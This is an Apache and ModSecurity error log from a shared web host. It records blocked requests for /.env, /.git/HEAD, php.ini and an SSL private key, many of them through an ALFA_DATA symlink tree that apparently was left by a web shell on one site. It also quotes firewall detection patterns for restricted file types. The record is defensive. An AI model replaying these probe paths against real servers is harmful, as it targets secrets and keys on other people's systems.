[Sun Oct 25 08:53:12.510886 2026] [security2:error] [pid 2815605:tid 2815605] [client 185.191.171.18:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e0d1d_82f53_7f6bb6f95ce41154b2ba5c9855202c3d.key"] [unique_id "at37uAYPMfHr0EMMDlnnCAAAABM"]
[Sun Oct 25 08:53:18.163064 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.148.123:8051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:53:21.751671 2026] [security2:error] [pid 2834019:tid 2834019] [client 201.177.164.112:43124] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at37wUsgp-xlBP1GcWOQnQAAABE"], referer: https://each.co.in/redirect.php?ref_host=threadshark.com
[Sun Oct 25 08:53:21.764090 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 201.177.164.112:43124] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://each.co.in/redirect.php?ref_host=threadshark.com
[Sun Oct 25 08:53:22.149688 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 23.21.227.240:20939] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1c/eject
[Sun Oct 25 08:53:30.181829 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.210.58.238:17364] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:53:38.129985 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.217.255.167:51296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:53:58.203236 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 18.215.77.19:11652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:54:05.911571 2026] [security2:error] [pid 2826774:tid 2826774] [client 185.191.171.16:50138] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "at377fWU2HQBncZeY47DxgAAAAQ"]
[Sun Oct 25 08:54:05.911951 2026] [security2:error] [pid 2826774:tid 2826774] [client 185.191.171.16:50138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "at377fWU2HQBncZeY47DxgAAAAQ"]
[Sun Oct 25 08:54:05.912428 2026] [security2:error] [pid 2826774:tid 2826774] [client 185.191.171.16:50138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "at377fWU2HQBncZeY47DxgAAAAQ"]
[Sun Oct 25 08:54:09.981826 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.195:20890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/red_zone
[Sun Oct 25 08:54:14.143168 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 23.23.214.190:50890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rom
[Sun Oct 25 08:54:22.138842 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 98.80.130.239:43858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:54:26.208044 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.45.15.233:65171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:54:38.124111 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.144.185.255:16268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:54:58.055404 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 85.208.96.193:13722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/validate
[Sun Oct 25 08:55:06.153786 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.225.243.131:5983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:55:14.330128 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.6.97.88:53100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:55:18.168657 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 184.73.47.24:48906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:55:30.157500 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.83.10.183:48207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:55:42.151750 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.84.147.79:62195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:55:54.122368 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.200.251.20:23066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:02.125782 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.223.193.255:15506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:06.127957 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.200.251.20:14179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:14.163688 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.212.232.231:44968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:18.221240 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 184.73.35.182:26854] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:30.124319 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 52.2.4.213:35974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input5/device/driver/uevent
[Sun Oct 25 08:56:33.082516 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.14:14544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/ctor
[Sun Oct 25 08:56:38.117286 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.23.99.55:14513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:42.119798 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.84.93.8:14020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:56:58.188427 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 54.197.102.71:60623] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/resource0
[Sun Oct 25 08:57:10.192029 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 184.73.195.18:61023] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/resource0
[Sun Oct 25 08:57:14.319437 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 52.73.6.26:42000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/unbind
[Sun Oct 25 08:57:16.630261 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 85.208.96.206:62404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:57:18.183145 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.223.193.255:22955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:57:22.262861 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.210.155.69:22519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:57:26.197041 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 52.204.253.129:61744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/0000:00:04.0/resource4_wc
[Sun Oct 25 08:57:28.126734 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.168:24260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uJBSQk9YSmLuOvuQgQAAAAM"]
[Sun Oct 25 08:57:28.126967 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.168:24260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uJBSQk9YSmLuOvuQgQAAAAM"]
[Sun Oct 25 08:57:28.127268 2026] [security2:error] [pid 2821699:tid 2821699] [client 130.12.180.168:24260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uJBSQk9YSmLuOvuQgQAAAAM"]
[Sun Oct 25 08:57:30.229394 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.83.180.239:13084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:57:30.909336 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.170:30668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uksgp-xlBP1GcWOQpgAAABE"]
[Sun Oct 25 08:57:30.909708 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.170:30668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uksgp-xlBP1GcWOQpgAAABE"]
[Sun Oct 25 08:57:30.909989 2026] [security2:error] [pid 2834019:tid 2834019] [client 130.12.180.170:30668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at38uksgp-xlBP1GcWOQpgAAABE"]
[Sun Oct 25 08:57:46.209791 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.24.149.244:54063] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:57:54.459337 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.196.237.236:63489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:58:02.229089 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.206.93.215:57175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:58:06.259170 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 34.224.132.215:28806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/module/uevent
[Sun Oct 25 08:58:09.538882 2026] [security2:error] [pid 2815602:tid 2815602] [client 185.191.171.17:60526] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadownloadB.sys"] [unique_id "at384dy-_GHm1dX7tKN5DwAAABA"]
[Sun Oct 25 08:58:09.539258 2026] [security2:error] [pid 2815602:tid 2815602] [client 185.191.171.17:60526] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadownloadB.sys"] [unique_id "at384dy-_GHm1dX7tKN5DwAAABA"]
[Sun Oct 25 08:58:09.539586 2026] [security2:error] [pid 2815602:tid 2815602] [client 185.191.171.17:60526] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/sxg/saharadownloadB.sys"] [unique_id "at384dy-_GHm1dX7tKN5DwAAABA"]
[Sun Oct 25 08:58:18.288717 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.203.111.15:6754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:58:22.271725 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 184.73.47.24:55983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:58:22.915936 2026] [security2:error] [pid 2834025:tid 2834025] [client 158.46.161.204:56023] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at387qGxe7V6jzF5H8VMSQAAABg"]
[Sun Oct 25 08:58:22.916176 2026] [security2:error] [pid 2834025:tid 2834025] [client 158.46.161.204:56023] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at387qGxe7V6jzF5H8VMSQAAABg"]
[Sun Oct 25 08:58:22.917184 2026] [security2:error] [pid 2834025:tid 2834025] [client 158.46.161.204:56023] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at387qGxe7V6jzF5H8VMSQAAABg"]
[Sun Oct 25 08:58:38.246791 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.213.213.161:64919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:02.0/remove
[Sun Oct 25 08:58:56.427738 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 85.208.96.204:25922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:58:59.548334 2026] [core:crit] [pid 2834020:tid 2834020] (13)Permission denied: [client 66.132.172.130:45050] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 08:59:02.314209 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.226.106.93:22085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:59:02.795503 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 66.132.172.130:45068] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 08:59:03.978348 2026] [core:crit] [pid 2834008:tid 2834008] (13)Permission denied: [client 66.132.172.130:45082] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 08:59:06.230316 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 100.28.204.82:56351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:59:15.843458 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 185.191.171.8:45520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:59:36.297837 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 66.132.172.130:13870] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 08:59:50.373027 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.203.68.145:9781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:59:53.796018 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 85.208.96.210:54168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/hwcache_align
[Sun Oct 25 09:00:02.324809 2026] [ssl:error] [pid 2815602:tid 2815602] (5)Input/output error: [client 44.221.105.234:31414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:06.910173 2026] [core:crit] [pid 2815605:tid 2815605] (13)Permission denied: [client 216.244.66.250:59218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/fd/' is executable
[Sun Oct 25 09:00:06.910255 2026] [core:crit] [pid 2815605:tid 2815605] (13)Permission denied: [client 216.244.66.250:59218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/map_files/' is executable
[Sun Oct 25 09:00:06.910274 2026] [core:crit] [pid 2815605:tid 2815605] (13)Permission denied: [client 216.244.66.250:59218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/227336/fdinfo/' is executable
[Sun Oct 25 09:00:34.608449 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.212.232.231:38231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:39.902826 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.83.72.38:65010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:42.283767 2026] [ssl:error] [pid 2815605:tid 2815605] (5)Input/output error: [client 54.235.172.96:51139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:46.353326 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.81.148:3581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:50.269442 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 100.29.164.178:57647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:00:57.358054 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.201:24946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/total_objects
[Sun Oct 25 09:01:02.486509 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.91.122.193:39314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:06.595367 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 52.44.174.136:1421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/dw_dmac_pci/bind
[Sun Oct 25 09:01:10.311981 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 23.23.213.182:15087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:14.295910 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.213.240.226:17279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:19.763177 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.14:58638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/aliases
[Sun Oct 25 09:01:30.339250 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.197.114.76:5290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:34.299583 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.45.77.169:17025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:42.450824 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.206.212.24:7262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:01:46.289115 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 35.171.141.42:36615] AH02013: coalesce failed to read from data bucket
